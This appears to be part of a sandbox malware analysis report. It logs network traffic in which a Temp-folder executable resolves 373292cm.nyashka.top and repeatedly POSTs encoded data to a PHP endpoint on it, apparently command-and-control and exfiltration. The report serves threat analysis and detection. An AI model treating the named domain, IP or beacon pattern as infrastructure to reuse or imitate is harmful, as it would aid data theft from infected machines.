Aug 26, 2024 20:18:05.143956900 CEST	49845	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:05.144037008 CEST	49845	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:05.148843050 CEST	80	49845	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:05.493129969 CEST	49845	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:05.498034954 CEST	80	49845	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:05.498049021 CEST	80	49845	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:05.498058081 CEST	80	49845	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.007719994 CEST	80	49845	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.012880087 CEST	80	49845	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.012893915 CEST	80	49845	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.012981892 CEST	49845	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:06.129883051 CEST	49844	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:06.130208969 CEST	49845	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:06.130906105 CEST	49846	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:06.135883093 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.135965109 CEST	49846	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:06.136051893 CEST	49846	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:06.136998892 CEST	80	49845	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.137057066 CEST	49845	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:06.141721964 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.493267059 CEST	49846	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:06.498204947 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.498219967 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.498228073 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.800575018 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:06.852430105 CEST	49846	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:07.127985001 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:07.142159939 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:07.142227888 CEST	49846	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:07.254884958 CEST	49846	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:07.255189896 CEST	49847	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:07.261243105 CEST	80	49847	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:07.261312962 CEST	49847	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:07.261642933 CEST	80	49846	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:07.261697054 CEST	49846	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:07.262666941 CEST	49847	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:07.267714977 CEST	80	49847	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:07.955266953 CEST	80	49847	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:08.008723021 CEST	49847	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:14.247999907 CEST	49847	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:14.254549980 CEST	80	49847	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:14.254592896 CEST	80	49847	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:14.254602909 CEST	80	49847	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:14.551881075 CEST	80	49847	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:14.602541924 CEST	49847	80	192.168.2.4	80.211.144.156

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 26, 2024 20:16:30.696077108 CEST	55232	53	192.168.2.4	1.1.1.1
Aug 26, 2024 20:16:31.009314060 CEST	53	55232	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 26, 2024 20:16:30.696077108 CEST	192.168.2.4	1.1.1.1	0xb65e	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 26, 2024 20:16:31.009314060 CEST	1.1.1.1	192.168.2.4	0xb65e	No error (0)	373292cm.nyashka.top		80.211.144.156	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

373292cm.nyashka.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:31.273264885 CEST	345	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:31.643461943 CEST	344	OUT	Data Raw: 00 02 04 05 03 0a 01 03 05 06 02 01 02 0d 01 03 00 01 05 0e 02 01 03 0f 01 03 0e 0d 03 04 03 07 0c 56 06 0f 07 01 03 0b 0e 54 02 04 05 57 07 05 06 50 0c 09 0d 05 05 06 01 0e 03 06 06 57 05 5d 02 05 0e 00 06 56 07 09 0c 52 0e 07 0e 0d 0f 04 02 01 Data Ascii: VTWPW]VR[ZRU\L~puZvqmwepoit\|~pkX{osE{`XSxcdw[j_~V@x}~~bS
Aug 26, 2024 20:16:31.948571920 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:32.037390947 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1320 Connection: keep-alive Data Raw: 56 4a 7d 59 78 7d 59 44 79 62 74 4b 6b 5f 64 59 6a 49 51 42 6b 5e 65 0c 6d 60 70 05 7d 5b 60 49 77 4d 57 41 6e 71 79 06 76 76 70 03 7e 61 78 01 55 4b 71 09 74 5c 7f 4b 7f 04 75 04 7f 5e 62 0d 79 66 60 08 7e 73 7f 4a 62 62 5f 06 60 58 6a 59 7e 62 62 02 7f 7f 70 4e 7e 5e 77 06 62 5c 7b 06 7c 5b 69 03 7e 4e 69 00 7b 77 52 06 79 64 6f 58 79 7e 7c 59 6d 62 67 5b 7b 60 72 07 7f 06 6f 59 78 77 63 5f 69 62 55 07 76 62 7b 5b 7a 51 41 5b 68 5e 7c 40 7f 71 6e 54 76 52 6b 5f 6f 6c 74 03 77 06 6e 0d 79 62 6d 47 6a 42 54 06 6f 72 66 46 77 63 5e 5a 76 07 64 07 76 71 7a 50 7e 5d 7a 06 77 72 6d 06 76 66 70 09 7f 42 66 5e 77 6f 7f 5d 7c 73 6c 03 78 6c 5a 5a 7b 4e 65 5a 6b 6d 78 08 74 67 6f 5a 7e 62 72 09 7d 6d 77 08 78 6d 62 03 6a 71 66 5b 7b 5d 46 51 6b 52 5d 52 7d 60 56 0b 7d 77 75 5d 6c 6d 7b 49 7b 71 64 00 7e 71 78 5b 7e 49 55 0a 68 4e 5c 55 7b 63 78 07 7d 61 7c 49 63 5a 7d 51 7b 5c 79 06 75 66 56 4b 7e 58 56 06 7e 66 71 0d 76 72 73 06 7f 5c 5b 05 7f 67 6a 0d 7b 58 74 09 7e 73 67 02 76 62 75 02 76 71 69 00 7c 4f [TRUNCATED] Data Ascii: VJ}Yx}YDybtKk_dYjIQBk^em`p}[`IwMWAnqyvvp~axUKqt\Ku^byf`~sJbb_`XjY~bbpN~^wb\{\|[i~Ni{wRydoXy~\|Ymbg[{`roYxwc_ibUvb{[zQA[h^\|@qnTvRk_oltwnybmGjBTorfFwc^ZvdvqzP~]zwrmvfpBf^wo]\|slxlZZ{NeZkmxtgoZ~br}mwxmbjqf[{]FQkR]R}`V}wu]lm{I{qd~qx[~IUhN\U{cx}a\|IcZ}Q{\yufVK~XV~fqvrs\[gj{Xt~sgvbuvqi\|Or~\|t@~gDuOY{Ly~`iywtxg^MxSYHybdHzcz}``{gx~\svap\|\|Q}g`\|qaAv\|Zx\|tIt`byqeJ~RfxOfFvsswa^var\|NrtLiBv[`RyLwRp\|]hJxBz`v}`wgR~rvB}SU{mnN}\y}pxAlZNph}YT{CQ{bt~qg}wQ@~`Wys^M}rtFtMqBzO[IuHZ}f\|}vu@wbQ\}\|gzxXZO~ssubaAtOiqbI~BlA~IUuO{rqI}N_{whywpxCQzblHxsPL{]NZxYsY~qx\wa\|}BUYh@}bqAvRwZolUYw^vzqm}BT_z\yvxBagx[L~Jx^bcrT^veoSkRv^wk_\|p\|K{oglNXh}l`g^jaqTzSYQfn^jfbQYwRS{@QlkPWta^o~Zzu{Z\|Xg}Yg~puncx~rtK`]amOj^vcY\|fdfive{WOz[hdNTzoVR`V[[nN]bnJUvzyRRL~wkFua{Jy\uJz]OZloBUtAl^Do{AQ\_}]s\|lkVTdaNYLwtR`d{ZFQhbO[Ao]Da}UnXFQQz\|^]\NtiZDp\@PkeAZq@bUMizYcUCS\wElc[z]zZ~zsWcdAR~aVRn^VTaXQaB [TRUNCATED]
Aug 26, 2024 20:16:32.037410021 CEST	241	IN	Data Raw: 44 50 7e 66 5b 53 64 06 5f 6f 00 00 09 51 59 60 49 5d 63 0d 5e 5b 62 6d 59 7e 5c 79 67 52 55 59 09 6a 64 63 54 6d 06 60 58 51 71 6e 4a 7a 73 01 5e 7f 76 7f 40 6c 6b 73 45 6f 0b 77 58 7b 75 7f 5f 6f 60 0e 41 50 7c 6f 5d 57 64 00 55 6a 04 0f 42 5c Data Ascii: DP~f[Sd_oQY`I]c^[bmY~\ygRUYjdcTm`XQqnJzs^v@lksEowX{u_o`AP\|o]WdUjB\rYEiocShf}qQpE\|UU][uJPbP@QT\WY`_Z[gy`bUx^\^p_O\boNRHcU@iA[RZQca_{SVPpZN_jaNP~No[ChHAPYUHVpoRjgxzZ~G\|TV_TsBUbVCQ_PcTQZ@je\|p^zRm
Aug 26, 2024 20:16:32.167639017 CEST	321	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 384 Expect: 100-continue
Aug 26, 2024 20:16:32.373567104 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:32.373752117 CEST	384	OUT	Data Raw: 5a 56 59 57 54 49 51 5c 5b 5f 5a 51 59 56 58 51 57 51 5d 5b 57 5d 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZVYWTIQ\[_ZQYVXQWQ][W]S[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X/'@5['#6>=X(^<-']7<'S "$P?)4#_;.&F$.Y/!
Aug 26, 2024 20:16:32.666456938 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0e 2a 36 3d 00 26 15 2c 55 27 33 21 0b 2b 2e 2b 5e 29 3e 29 5c 27 2b 35 17 26 07 38 56 24 15 35 11 28 00 36 57 24 2f 2b 1e 39 34 2b 5d 0c 13 22 58 23 29 36 59 31 3f 2b 02 29 06 0e 05 36 05 26 1e 28 14 03 16 28 06 3b 06 28 5f 37 1e 3f 3a 36 11 38 16 04 02 3a 20 0b 0d 23 3e 2b 52 0d 11 27 0d 29 2d 3e 0e 3d 00 24 04 22 28 38 02 27 3e 22 1e 32 0c 2e 1d 24 5f 2c 11 31 32 32 0e 24 21 39 12 32 15 32 5f 31 3c 35 1d 22 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %*6=&,U'3!+.+^)>)\'+5&8V$5(6W$/+94+]"X#)6Y1?+)6&((;(_7?:68: #>+R')->=$"(8'>"2.$_,122$!922_1<5""#T,"W3UV
Aug 26, 2024 20:16:33.093827963 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue
Aug 26, 2024 20:16:33.302339077 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:33.310697079 CEST	1852	OUT	Data Raw: 5a 52 5c 53 54 46 54 5a 5b 5f 5a 51 59 50 58 50 57 51 5d 53 57 58 53 59 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZR\STFTZ[_ZQYPXPWQ]SWXSYYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-80'C6 \70)])=(9^?[ Z0#!S*97_"0)X;.&F$.Y/
Aug 26, 2024 20:16:33.602089882 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0a 3d 25 26 10 27 2b 02 50 33 0a 22 55 29 04 27 12 3d 03 0b 5d 33 16 2a 00 25 00 3c 56 30 38 36 03 28 07 29 0f 25 2f 2f 10 2d 24 2b 5d 0c 13 21 04 23 5c 29 00 26 12 20 5c 3d 16 3f 15 21 05 36 5a 3c 3a 03 1b 3f 2f 01 02 2b 29 2c 02 3c 03 36 57 3b 2b 25 5b 39 09 39 0d 23 14 2b 52 0d 11 24 54 3c 2d 31 56 3e 10 11 58 22 3b 33 5b 26 3d 08 50 25 0b 2d 0d 33 07 3f 01 26 0c 39 1d 27 21 25 1c 31 3b 2a 5b 32 3f 08 0c 22 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %=%&'+P3"U)'=]3%<V086()%//-$+]!#\)& \=?!6Z<:?/+),<6W;+%[99#+R$T<-1V>X";3[&=P%-3?&9'!%1;[2?""#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:32.348582983 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:32.696556091 CEST	2576	OUT	Data Raw: 5a 52 5c 51 54 49 54 5c 5b 5f 5a 51 59 53 58 52 57 59 5d 5f 57 5a 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZR\QTIT\[_ZQYSXRWY]_WZSXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.,#B!.? 0= \(=*(=,4<0 !,P+9 01,&F$.Y/5
Aug 26, 2024 20:16:33.073539972 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:33.198477030 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:34.298346043 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:34.660751104 CEST	2576	OUT	Data Raw: 5f 53 59 50 54 42 54 5d 5b 5f 5a 51 59 54 58 5f 57 50 5d 5f 57 58 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _SYPTBT][_ZQYTX_WP]_WXSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.; /A5=44![*[7<.)(-;#Z,4?:$735_/>&F$.Y/)
Aug 26, 2024 20:16:34.981780052 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:35.116571903 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:35.324209929 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:35.680524111 CEST	2576	OUT	Data Raw: 5f 5c 59 57 54 42 51 59 5b 5f 5a 51 59 52 58 53 57 51 5d 5c 57 5e 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _\YWTBQY[_ZQYRXSWQ]\W^S_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.^;33D!47 )X=,^?=&)='["??7W8V**?^ 0].>&F$.Y/1
Aug 26, 2024 20:16:35.728929043 CEST	1236	OUT	Data Raw: 36 3a 16 36 3b 05 1f 03 04 39 1c 52 2b 2e 0d 19 15 00 24 19 36 3a 3d 2c 00 07 3a 5a 34 54 31 26 37 5f 34 20 39 30 05 29 34 2c 03 10 34 3f 1a 03 36 5c 5f 2f 3a 3d 3d 2b 39 21 18 1e 3d 03 19 22 26 33 45 15 3b 08 1c 0c 26 01 0f 59 31 59 59 2b 0d 24 Data Ascii: 6:6;9R+.$6:=,:Z4T1&7_4 90)4,4?6\_/:==+9!="&3E;&Y1YY+$&685?$=;2X9&<(^?>U, ,1#<5!:01/[? 1:?1;<62=;Y :W(3_458,(ZB?X?<'.=#[:;\2;3#0-5@=]?8YT %1W02&9;<3R;;6=)'?<Y7!8
Aug 26, 2024 20:16:36.993627071 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:36.993648052 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:16:36.993673086 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:16:36.993947029 CEST	183	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 36 20 41 75 67 20 32 30 32 34 20 31 38 3a 31 36 3a 33 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3b 55 5f 5b Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 26 Aug 2024 18:16:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive;U_[
Aug 26, 2024 20:16:36.994240999 CEST	183	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 36 20 41 75 67 20 32 30 32 34 20 31 38 3a 31 36 3a 33 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3b 55 5f 5b Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 26 Aug 2024 18:16:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:37.271836042 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:37.619358063 CEST	2576	OUT	Data Raw: 5f 57 59 54 51 44 54 59 5b 5f 5a 51 59 56 58 5f 57 5c 5d 58 57 5a 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _WYTQDTY[_ZQYVX_W\]XWZSXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-; 8"[;#3=Z)-#<="<+7,7W 8P(9$401\/.&F$.Y/!
Aug 26, 2024 20:16:37.970411062 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:38.109179974 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:38.298149109 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:39.736437082 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:39.736465931 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:39.736499071 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:39.995997906 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:38.657227993 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
